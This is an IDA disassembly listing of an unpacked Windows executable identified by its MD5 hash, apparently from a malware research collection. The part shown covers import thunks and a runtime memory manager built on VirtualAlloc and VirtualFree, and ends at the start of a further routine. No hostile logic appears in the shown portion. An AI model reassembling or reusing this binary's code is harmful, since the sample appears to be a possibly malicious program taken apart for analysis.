;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	48128671A8ACD8CFD6450EF1880F704A

; File Name   :	u:\work\48128671a8acd8cfd6450ef1880f704a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000042F8 (  17144.)
; Section size in file		: 000042F8 (  17144.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401000	proc near		; CODE XREF: sub_403394+39p
					; sub_403394+54p
		jmp	ds:dword_4080F8
sub_401000	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401008	proc near		; CODE XREF: sub_402D70+14p
					; sub_402D8C+16p ...
		jmp	ds:dword_4080F4
sub_401008	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401010	proc near		; CODE XREF: sub_4031E8-2B6p
					; CODE:00403140p
					; DATA XREF: ...
		jmp	ds:dword_4080F0
sub_401010	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401018	proc near		; CODE XREF: sub_4031E8-31Ep
					; sub_4031E8-2E1p ...
		jmp	ds:dword_4080EC
sub_401018	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401020	proc near		; CODE XREF: sub_403394+3Fp
					; sub_403394+5Ap
		jmp	ds:dword_4080E8
sub_401020	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_402920+19p
					; sub_402920+55p ...
		jmp	ds:dword_408108
sub_401028	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401030	proc near		; CODE XREF: sub_403420+C3p
		jmp	ds:dword_4080E4
sub_401030	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401038	proc near		; CODE XREF: sub_403394+78p
		jmp	ds:dword_408104
sub_401038	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401040	proc near		; CODE XREF: sub_403420+8Bp
		jmp	ds:dword_4080E0
sub_401040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401048	proc near		; CODE XREF: sub_402A84:loc_402ABBp
					; sub_403AE4+67p
		jmp	ds:dword_4080DC
sub_401048	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_403A1C+26p
		jmp	ds:dword_4080D8
sub_401050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401058	proc near		; CODE XREF: sub_402A84+23p
		jmp	ds:dword_4080D4
sub_401058	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401060	proc near		; CODE XREF: sub_4010B0+Ap
		jmp	ds:dword_4080D0
sub_401060	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401068	proc near		; CODE XREF: sub_403AE4:loc_403B8Cp
					; sub_403AE4:loc_403B9Dp
		jmp	ds:dword_4080CC
sub_401068	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401070	proc near		; CODE XREF: sub_40360C+12p
		jmp	ds:dword_4080C8
sub_401070	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401078	proc near		; CODE XREF: sub_402C94+6Bp
		jmp	ds:dword_408118
sub_401078	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401080	proc near		; CODE XREF: sub_402C94+22p
		jmp	ds:dword_408114
sub_401080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401088	proc near		; CODE XREF: sub_402C94+55p
		jmp	ds:dword_408110
sub_401088	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401090	proc near		; CODE XREF: sub_4037A0+7p
					; sub_40386C+Bp
		jmp	ds:dword_408124
sub_401090	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401098	proc near		; CODE XREF: sub_4037B8+7p
					; sub_4037C8+Ep ...
		jmp	ds:dword_408120
sub_401098	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_403AE4:loc_403BACp
		jmp	ds:dword_4080C4
sub_4010A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A8	proc near		; CODE XREF: sub_403AE4+7Bp
					; sub_403AE4+8Cp
		jmp	ds:dword_4080C0
sub_4010A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4010B0	proc near		; CODE XREF: sub_403AE4+71p

var_1C		= word ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	sub_401060	; GetStartupInfoA
		test	byte ptr [esp+48h+var_1C], 1
		jz	short loc_4010CB
		movzx	ebx, [esp+48h+var_18]


loc_4010CB:				; CODE XREF: sub_4010B0+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_4010B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D4	proc near		; CODE XREF: sub_401114+15p
					; sub_40191C+54p
		jmp	ds:dword_4080BC
sub_4010D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_4019F4+41p
					; sub_4019F4+B6p
		jmp	ds:dword_4080B8
sub_4010DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E4	proc near		; CODE XREF: sub_40137C+2Fp
					; sub_4013E0+1Ep ...
		jmp	ds:dword_4080B4
sub_4010E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EC	proc near		; CODE XREF: sub_40137C+56p
					; sub_4013E0+69p ...
		jmp	ds:dword_4080B0
sub_4010EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F4	proc near		; CODE XREF: sub_40191C+17p
		jmp	ds:dword_4080AC
sub_4010F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FC	proc near		; CODE XREF: sub_40191C+2Ap
					; sub_4019F4+2Fp ...
		jmp	ds:dword_4080A8
sub_4010FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_40191C+C2p
					; sub_4019F4+E4p ...
		jmp	ds:dword_4080A4
sub_401104	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110C	proc near		; CODE XREF: sub_4019F4+EEp
		jmp	ds:dword_4080A0
sub_40110C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401114	proc near		; CODE XREF: sub_4011A0+9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF4h
		mov	ebx, offset dword_4075D0
		cmp	dword ptr [ebx], 0
		jnz	short loc_40117B
		push	644h
		push	0
		call	sub_4010D4	; LocalAlloc
		mov	[esp+10h+var_8], eax
		cmp	[esp+10h+var_8], 0
		jnz	short loc_401140
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		jmp	short loc_401190
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: sub_401114+23j
		mov	eax, [esp+10h+var_8]
		mov	edx, ds:dword_4075CC
		mov	[eax], edx
		mov	eax, [esp+10h+var_8]
		mov	ds:dword_4075CC, eax
		xor	eax, eax


loc_401157:				; CODE XREF: sub_401114+65j
		mov	edx, eax
		add	edx, edx
		mov	ecx, [esp+10h+var_8]
		lea	edx, [ecx+edx*8+4]
		mov	[esp+10h+var_C], edx
		mov	edx, [esp+10h+var_C]
		mov	ecx, [ebx]
		mov	[edx], ecx
		mov	edx, [esp+10h+var_C]
		mov	[ebx], edx
		inc	eax
		cmp	eax, 64h
		jnz	short loc_401157


loc_40117B:				; CODE XREF: sub_401114+Cj
		mov	eax, [ebx]
		mov	[esp+10h+var_C], eax
		mov	eax, [esp+10h+var_C]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [esp+10h+var_C]
		mov	[esp+10h+var_10], eax


loc_401190:				; CODE XREF: sub_401114+2Aj
		mov	eax, [esp+10h+var_10]
		add	esp, 0Ch
		pop	ebx
		retn
sub_401114	endp


; =============== S U B	R O U T	I N E =======================================



sub_401198	proc near		; CODE XREF: sub_40191C+34p
					; sub_40191C+3Ep ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_401198	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4011A0	proc near		; CODE XREF: sub_401230+71p
					; sub_4012B8+96p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		call	sub_401114
		mov	[esp+10h+var_C], eax
		cmp	[esp+10h+var_C], 0
		jnz	short loc_4011BD
		xor	eax, eax
		jmp	short loc_4011F7
; ---------------------------------------------------------------------------


loc_4011BD:				; CODE XREF: sub_4011A0+17j
		mov	eax, [esi]
		mov	edx, [esp+10h+var_C]
		mov	[edx+8], eax
		mov	eax, [esi+4]
		mov	edx, [esp+10h+var_C]
		mov	[edx+0Ch], eax
		mov	eax, [ebx]
		mov	[esp+10h+var_10], eax
		mov	eax, [esp+10h+var_C]
		mov	edx, [esp+10h+var_10]
		mov	[eax], edx
		mov	eax, [esp+10h+var_C]
		mov	[eax+4], ebx
		mov	eax, [esp+10h+var_10]
		mov	edx, [esp+10h+var_C]
		mov	[eax+4], edx
		mov	eax, [esp+10h+var_C]
		mov	[ebx], eax
		mov	al, 1


loc_4011F7:				; CODE XREF: sub_4011A0+1Bj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4011A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011FC	proc near		; CODE XREF: sub_401230+37p
					; sub_401230+56p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		add	esp, 0FFFFFFF8h
		mov	edx, [eax+4]
		mov	[esp+8+var_8], edx
		mov	edx, [eax]
		mov	[esp+8+var_4], edx
		mov	edx, [esp+8+var_8]
		mov	ecx, [esp+8+var_4]
		mov	[edx], ecx
		mov	edx, [esp+8+var_4]
		mov	ecx, [esp+8+var_8]
		mov	[edx+4], ecx
		mov	edx, ds:dword_4075D0
		mov	[eax], edx
		mov	ds:dword_4075D0, eax
		pop	ecx
		pop	edx
		retn
sub_4011FC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401230	proc near		; CODE XREF: sub_40169C+80p
					; sub_401744+78p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, ecx
		mov	esi, eax
		mov	edi, esp
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [edx]
		mov	[ebx], eax
		mov	eax, [edx+4]
		mov	[ebx+4], eax


loc_40124B:				; CODE XREF: sub_401230+6Bj
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[esp+18h+var_14], eax
		mov	edx, [edi]
		mov	edx, [edx+8]
		mov	ecx, edx
		mov	ebp, [edi]
		add	ecx, [ebp+0Ch]
		mov	eax, [ebx]
		cmp	ecx, eax
		jnz	short loc_40127D
		mov	eax, [edi]
		call	sub_4011FC
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[ebx], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax
		jmp	short loc_401293
; ---------------------------------------------------------------------------


loc_40127D:				; CODE XREF: sub_401230+33j
		add	eax, [ebx+4]
		cmp	edx, eax
		jnz	short loc_401293
		mov	eax, [edi]
		call	sub_4011FC
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax


loc_401293:				; CODE XREF: sub_401230+4Bj
					; sub_401230+52j
		mov	eax, [esp+18h+var_14]
		mov	[edi], eax
		cmp	esi, [edi]
		jnz	short loc_40124B
		mov	edx, ebx
		mov	eax, esi
		call	sub_4011A0
		test	al, al
		jnz	short loc_4012AE
		xor	eax, eax
		mov	[ebx], eax


loc_4012AE:				; CODE XREF: sub_401230+78j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401230	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4012B8	proc near		; CODE XREF: sub_401888+82p
					; sub_401D0C+ABp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF0h
		mov	[esp+20h+var_20], eax
		mov	esi, esp
		mov	eax, [esi]
		mov	[esp+20h+var_14], eax


loc_4012CA:				; CODE XREF: sub_4012B8+B3j
		mov	ecx, [edx]
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ecx, eax
		jb	loc_40135F
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jb	short loc_40135F
		cmp	ecx, eax
		jnz	short loc_40130E
		mov	eax, [edx+4]
		mov	ecx, [esi]
		add	[ecx+8], eax
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40135B
		mov	eax, [esi]
		call	sub_4011FC
		jmp	short loc_40135B
; ---------------------------------------------------------------------------


loc_40130E:				; CODE XREF: sub_4012B8+33j
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jnz	short loc_401328
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		jmp	short loc_40135B
; ---------------------------------------------------------------------------


loc_401328:				; CODE XREF: sub_4012B8+64j
		mov	ebx, [edx]
		add	ebx, [edx+4]
		mov	[esp+20h+var_1C], ebx
		mov	edi, [esi]
		mov	edi, [edi+8]
		mov	ebp, [esi]
		add	edi, [ebp+0Ch]
		sub	edi, ebx
		mov	[esp+20h+var_18], edi
		sub	ecx, eax
		mov	eax, [esi]
		mov	[eax+0Ch], ecx
		lea	edx, [esp+20h+var_1C]
		mov	eax, [esi]
		call	sub_4011A0
		test	al, al
		jnz	short loc_40135B
		xor	eax, eax
		jmp	short loc_401373
; ---------------------------------------------------------------------------


loc_40135B:				; CODE XREF: sub_4012B8+4Bj
					; sub_4012B8+54j ...
		mov	al, 1
		jmp	short loc_401373
; ---------------------------------------------------------------------------


loc_40135F:				; CODE XREF: sub_4012B8+1Bj
					; sub_4012B8+2Fj
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax
		mov	eax, [esi]
		cmp	eax, [esp+20h+var_14]
		jnz	loc_4012CA
		xor	eax, eax


loc_401373:				; CODE XREF: sub_4012B8+A1j
					; sub_4012B8+A5j
		add	esp, 10h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4012B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40137C	proc near		; CODE XREF: sub_40169C+6Ep
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_401392
		mov	esi, 100000h
		jmp	short loc_40139E
; ---------------------------------------------------------------------------


loc_401392:				; CODE XREF: sub_40137C+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_40139E:				; CODE XREF: sub_40137C+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	sub_4010E4	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_4013DB
		mov	edx, ebx
		mov	eax, offset off_4075D4
		call	sub_4011A0
		test	al, al
		jnz	short loc_4013DB
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010EC	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_4013DB:				; CODE XREF: sub_40137C+3Aj
					; sub_40137C+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40137C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4013E0	proc near		; CODE XREF: sub_401744+62p
					; sub_401744+A9p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	sub_4010E4	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_40142A
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	sub_4010E4	; VirtualAlloc
		mov	[ebx], eax


loc_40142A:				; CODE XREF: sub_4013E0+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_401452
		mov	edx, ebx
		mov	eax, offset off_4075D4
		call	sub_4011A0
		test	al, al
		jnz	short loc_401452
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010EC	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_401452:				; CODE XREF: sub_4013E0+4Dj
					; sub_4013E0+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401458	proc near		; CODE XREF: sub_40169C+95p
					; sub_401744+90p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	edi, ecx
		mov	esi, esp
		mov	[esp+28h+var_20], 0FFFFFFFFh
		xor	ecx, ecx
		mov	[esp+28h+var_1C], ecx
		mov	[esp+28h+var_18], eax
		add	edx, [esp+28h+var_18]
		mov	[esp+28h+var_14], edx
		mov	eax, ds:off_4075D4
		mov	[esi], eax
		jmp	short loc_4014F1
; ---------------------------------------------------------------------------


loc_401486:				; CODE XREF: sub_401458+A0j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esp+28h+var_24], eax
		mov	eax, [esi]
		mov	ebx, [eax+8]
		cmp	ebx, [esp+28h+var_18]
		jb	short loc_4014EB
		mov	eax, ebx
		mov	edx, [esi]
		add	eax, [edx+0Ch]
		cmp	eax, [esp+28h+var_14]
		ja	short loc_4014EB
		cmp	ebx, [esp+28h+var_20]
		jnb	short loc_4014B0
		mov	[esp+28h+var_20], ebx


loc_4014B0:				; CODE XREF: sub_401458+52j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		mov	eax, [esi]
		add	ebp, [eax+0Ch]
		cmp	ebp, [esp+28h+var_1C]
		jbe	short loc_4014C4
		mov	[esp+28h+var_1C], ebp


loc_4014C4:				; CODE XREF: sub_401458+66j
		push	8000h
		push	0
		mov	eax, [esi]
		mov	eax, [eax+8]
		push	eax
		call	sub_4010EC	; VirtualFree
		test	eax, eax
		jnz	short loc_4014E4
		mov	ds:dword_4075B0, 1


loc_4014E4:				; CODE XREF: sub_401458+80j
		mov	eax, [esi]
		call	sub_4011FC


loc_4014EB:				; CODE XREF: sub_401458+3Fj
					; sub_401458+4Cj
		mov	eax, [esp+28h+var_24]
		mov	[esi], eax


loc_4014F1:				; CODE XREF: sub_401458+2Cj
		mov	eax, offset off_4075D4
		cmp	eax, [esi]
		jnz	short loc_401486
		xor	eax, eax
		mov	[edi], eax
		cmp	[esp+28h+var_1C], 0
		jz	short loc_401516
		mov	eax, [esp+28h+var_20]
		mov	[edi], eax
		mov	eax, [esp+28h+var_1C]
		sub	eax, [esp+28h+var_20]
		mov	[edi+4], eax


loc_401516:				; CODE XREF: sub_401458+ABj
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401458	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=18h


sub_401520	proc near		; CODE XREF: sub_40169C+35p
					; sub_401744+100p

var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		mov	[esp+24h+var_3C], edx
		lea	esi, [esp+24h+var_34]
		lea	edi, [esp+24h+var_38]
		lea	ebp, [esp+0Ch]
		mov	edx, eax
		mov	ecx, edx
		and	ecx, 0FFFFF000h
		mov	[esp+24h+var_2C], ecx
		add	edx, [esp+24h+var_3C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+24h+var_28], edx
		mov	eax, [esp+24h+var_2C]
		mov	[ebx], eax
		mov	eax, [esp+24h+var_28]
		sub	eax, [esp+24h+var_2C]
		mov	[ebx+4], eax
		mov	eax, ds:off_4075D4
		mov	[edi], eax
		jmp	short loc_4015CE
; ---------------------------------------------------------------------------


loc_401573:				; CODE XREF: sub_401520+B5j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebp+18h+var_18], eax
		mov	eax, [esi]
		cmp	eax, [esp+24h+var_2C]
		jnb	short loc_401592
		mov	eax, [esp+24h+var_2C]
		mov	[esi], eax


loc_401592:				; CODE XREF: sub_401520+6Aj
		mov	eax, [ebp+18h+var_18]
		cmp	eax, [esp+24h+var_28]
		jbe	short loc_4015A2
		mov	eax, [esp+24h+var_28]
		mov	[ebp+18h+var_18], eax


loc_4015A2:				; CODE XREF: sub_401520+79j
		mov	eax, [esi]
		cmp	eax, [ebp+18h+var_18]
		jnb	short loc_4015C8
		push	4
		push	1000h
		mov	eax, [ebp+18h+var_18]
		sub	eax, [esi]
		push	eax
		mov	eax, [esi]
		push	eax
		call	sub_4010E4	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4015C8
		xor	eax, eax
		mov	[ebx], eax
		jmp	short loc_4015D7
; ---------------------------------------------------------------------------


loc_4015C8:				; CODE XREF: sub_401520+87j
					; sub_401520+A0j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_4015CE:				; CODE XREF: sub_401520+51j
		mov	eax, offset off_4075D4
		cmp	eax, [edi]
		jnz	short loc_401573


loc_4015D7:				; CODE XREF: sub_401520+A6j
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4015E0	proc near		; CODE XREF: sub_401888+36p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], edx
		lea	esi, [esp+28h+var_20]
		lea	edi, [esp+28h+var_24]
		lea	ebx, [esp+28h+var_1C]
		mov	edx, eax
		mov	ebp, edx
		add	ebp, 0FFFh
		and	ebp, 0FFFFF000h
		mov	[esp+28h+var_18], ebp
		add	edx, [esp+28h+var_28]
		and	edx, 0FFFFF000h
		mov	[esp+28h+var_14], edx
		mov	eax, [esp+28h+var_18]
		mov	[ecx], eax
		mov	eax, [esp+28h+var_14]
		sub	eax, [esp+28h+var_18]
		mov	[ecx+4], eax
		mov	eax, ds:off_4075D4
		mov	[edi], eax
		jmp	short loc_401689
; ---------------------------------------------------------------------------


loc_401631:				; CODE XREF: sub_4015E0+B0j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebx], eax
		mov	eax, [esi]
		cmp	eax, [esp+28h+var_18]
		jnb	short loc_40164F
		mov	eax, [esp+28h+var_18]
		mov	[esi], eax


loc_40164F:				; CODE XREF: sub_4015E0+67j
		mov	eax, [ebx]
		cmp	eax, [esp+28h+var_14]
		jbe	short loc_40165D
		mov	eax, [esp+28h+var_14]
		mov	[ebx], eax


loc_40165D:				; CODE XREF: sub_4015E0+75j
		mov	eax, [esi]
		cmp	eax, [ebx]
		jnb	short loc_401683
		push	4000h
		mov	eax, [ebx]
		sub	eax, [esi]
		push	eax
		mov	eax, [esi]
		push	eax
		call	sub_4010EC	; VirtualFree
		test	eax, eax
		jnz	short loc_401683
		mov	ds:dword_4075B0, 2


loc_401683:				; CODE XREF: sub_4015E0+81j
					; sub_4015E0+97j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_401689:				; CODE XREF: sub_4015E0+4Fj
		mov	eax, offset off_4075D4
		cmp	eax, [edi]
		jnz	short loc_401631
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4015E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40169C	proc near		; CODE XREF: sub_401F98+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	edi, esp
		mov	ebp, offset off_4075E4
		add	esi, 3FFFh
		and	esi, 0FFFFC000h


loc_4016BA:				; CODE XREF: sub_40169C+8Aj
		mov	eax, [ebp+0]
		mov	[edi], eax
		jmp	short loc_401702
; ---------------------------------------------------------------------------


loc_4016C1:				; CODE XREF: sub_40169C+68j
		mov	eax, [edi]
		cmp	esi, [eax+0Ch]
		jg	short loc_4016FC
		mov	ecx, ebx
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	edx, esi
		call	sub_401520
		cmp	dword ptr [ebx], 0
		jz	short loc_40173A
		mov	eax, [ebx+4]
		mov	edx, [edi]
		add	[edx+8], eax
		mov	eax, [ebx+4]
		mov	edx, [edi]
		sub	[edx+0Ch], eax
		mov	eax, [edi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40173A
		mov	eax, [edi]
		call	sub_4011FC
		jmp	short loc_40173A
; ---------------------------------------------------------------------------


loc_4016FC:				; CODE XREF: sub_40169C+2Aj
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_401702:				; CODE XREF: sub_40169C+23j
		cmp	ebp, [edi]
		jnz	short loc_4016C1
		mov	edx, ebx
		mov	eax, esi
		call	sub_40137C
		cmp	dword ptr [ebx], 0
		jz	short loc_40173A
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, ebx
		mov	eax, ebp
		call	sub_401230
		cmp	[esp+1Ch+var_18], 0
		jnz	short loc_4016BA
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, [ebx+4]
		mov	eax, [ebx]
		call	sub_401458
		xor	eax, eax
		mov	[ebx], eax


loc_40173A:				; CODE XREF: sub_40169C+3Dj
					; sub_40169C+55j ...
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40169C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401744	proc near		; CODE XREF: sub_401FC4+10p

